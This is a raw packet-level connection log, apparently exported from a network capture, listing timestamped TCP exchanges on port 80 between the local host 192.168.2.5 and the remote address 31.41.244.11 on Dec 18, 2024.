Dec 18, 2024 19:08:31.017775059 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.021553993 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.021625042 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.021663904 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.025363922 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.025475979 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.025521994 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.029313087 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.029419899 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.029468060 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.033111095 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.033256054 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.033305883 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.037079096 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.037187099 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.037235022 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.040906906 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.041021109 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.041074991 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.077172995 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.077250957 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.077258110 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.077821016 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.079142094 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.079262972 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.079333067 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.083064079 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.084964991 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.146601915 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.146635056 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.146696091 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.147697926 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.147746086 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.147782087 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.147834063 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.151582956 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.151716948 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.151767969 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.155683041 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.155738115 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.155774117 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.155818939 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.159337997 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.159660101 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.159722090 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.163211107 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.163296938 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.163361073 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.167282104 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.167620897 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.167689085 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.171408892 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.171529055 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.171591043 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.174875021 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.175021887 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.175080061 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.178704023 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.178826094 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.178864002 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.178864002 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.182694912 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.182740927 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.182802916 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.186525106 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.186634064 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.186706066 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.190387964 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.190452099 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.190457106 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.190491915 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.194314957 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.194521904 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.194581032 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.198062897 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.198117018 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.198132992 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.198175907 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.201967955 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.202017069 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.202085018 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.202128887 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.205846071 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.205939054 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.205971956 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.206003904 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.208960056 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.209076881 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.209127903 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.211234093 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.211293936 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.211349010 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.211349010 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.212872028 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.212924957 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.212934971 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.212994099 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.214745998 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.214843035 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.214889050 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.216684103 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.216788054 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.216789007 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.216834068 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.218591928 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.218672037 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.218720913 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.218720913 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.220577002 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.220655918 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.220740080 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.220784903 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.222439051 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.222496986 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.222660065 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.222703934 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.224315882 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.224370003 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.224411011 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.224731922 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.226229906 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.226277113 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.226434946 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.226500988 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.228223085 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.228303909 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.228327036 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.228368998 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.230048895 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.230197906 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.230217934 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.230254889 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.232028961 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.232083082 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.232103109 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.232165098 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.233971119 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.234034061 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.234169960 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.234246969 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.235793114 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.235851049 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.235868931 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.235909939 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.237868071 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.237934113 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.237963915 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.237963915 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.240016937 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.240070105 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.240335941 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.240444899 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.241806030 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.241867065 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.241882086 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.241916895 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.243449926 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.243529081 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.243578911 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.243642092 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.245376110 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.245469093 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.245488882 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.245533943 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.247306108 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.247361898 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.247409105 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.247454882 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.249222994 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.249314070 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.249363899 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.251156092 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.251199961 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.251267910 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.251319885 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.338989019 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.339047909 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.339090109 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.339270115 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.339718103 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.339765072 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.340099096 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.340181112 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.340203047 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.340269089 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.342075109 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.342132092 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.342173100 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.342222929 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.343990088 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.344050884 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.344090939 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.344152927 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.345860958 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.345925093 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.345964909 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.346098900 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.347769976 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.347822905 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.347872972 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.348062992 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.349683046 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.349731922 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.349797010 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.349857092 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.351594925 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.351655960 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.351742029 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.351783991 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.353499889 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.353554010 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.353650093 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.353866100 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.355499983 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.355547905 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.355809927 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.355859041 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.357368946 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.357419968 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.357459068 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.357563019 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.359273911 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.359338045 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.359375000 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.359471083 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.361330986 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.361397982 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.361505032 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.361654043 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.363357067 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.363477945 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.363523006 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.365031958 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.365082026 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.365115881 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.365166903 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.367114067 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.367163897 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.367199898 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.367253065 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.369170904 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.369234085 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.369265079 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.369324923 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.370770931 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.370831013 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.370898008 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.370964050 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.372684956 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.372744083 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.372781992 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.372823954 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.374767065 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.374850035 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.374866962 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.374913931 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.376492023 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.376547098 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.376606941 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.376655102 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.378467083 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.378529072 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.378726006 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.378774881 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.380311966 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.380372047 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.380409956 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.380460024 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.382373095 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.382416010 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.382428885 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.382460117 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.384263039 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.384316921 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.384337902 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.384378910 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.386596918 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.386655092 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.386693954 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.386990070 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.388072968 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.388139963 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.388269901 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.388331890 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.390280008 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.390389919 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.390402079 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.390501022 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.391860962 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.391916037 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.391933918 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.391976118 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.394207954 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.394269943 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.394301891 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.394428015 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.395695925 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.395751953 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.395756960 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.395795107 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.397573948 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.397643089 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.397744894 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.397857904 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.399482965 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.399538040 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.399580956 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.399622917 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.401168108 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.401218891 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.401246071 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.401338100 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.402898073 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.402940989 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.402998924 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.403068066 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.404491901 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.404542923 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.404593945 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.404633045 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.406208992 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.406258106 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.406315088 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.406361103 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.407994032 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.408041954 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.408308029 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.408354044 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.409629107 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.409676075 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.409710884 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.409749031 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.411282063 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.411350965 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.411562920 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.411617994 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.413990021 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.414041996 CET	49726	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:31.414160967 CET	80	49726	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:31.414285898 CET	49726	80	192.168.2.5	31.41.244.11
